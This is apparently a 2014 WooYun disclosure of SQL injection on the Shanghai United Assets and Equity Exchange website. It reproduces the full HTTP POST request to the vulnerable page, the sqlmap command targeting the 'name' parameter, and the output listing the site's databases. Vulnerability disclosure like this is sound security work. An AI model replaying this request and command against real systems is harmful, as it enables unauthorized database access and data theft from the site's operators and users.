当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-073896

漏洞标题：上海联合产权交易所网站注入漏洞

相关厂商：www.suaee.com

漏洞作者： 路人甲

提交时间：2014-08-26 18:35

修复时间：2014-10-10 18:36

公开时间：2014-10-10 18:36

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-26： 细节已通知厂商并且等待厂商处理中
2014-08-31： 厂商已经确认，细节仅向厂商公开
2014-09-10： 细节向核心白帽子及相关领域专家公开
2014-09-20： 细节向普通白帽子公开
2014-09-30： 细节向实习白帽子公开
2014-10-10： 细节向公众公开

简要描述：

全站多处注入漏洞，数据库泄露。

详细说明：

全站未考虑注入问题，存在多处注入漏洞，如此处

POST /suaee/portal/project/submitwanter.jsp HTTP/1.1
Host: www.suaee.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://www.suaee.com/suaee/portal/project/wanter.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
Cookie: JSESSIONID=2AE09D8D9911E129B8118C4074BA7A12; Hm_lvt_094155c31bf8795324e9029a9fc09150=1409028642; Hm_lpvt_094155c31bf8795324e9029a9fc09150=1409028642; pgv_pvi=8636788736; pgv_si=s7369598976
project=null&[email protected]&company=aaaa&tel=555-555-0199&name=Pseter


丢sqlmap 数据库就跑出来了。
sqlmap.py -r test.txt -p name --dbms=mysql --dbs
web server operating system: Linux CentOS 6.5
web application technology: Apache 2.2.15
back-end DBMS: MySQL >= 5.0.0
available databases [4]:
[*] information_schema
[*] mysql
[*] suaee
[*] test
可进一步获取suaee的125张tables。
未作进一步getshell尝试。

漏洞证明：

QQ图片20140826141819.jpg

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-08-31 09:43

厂商回复：

最新状态：

暂无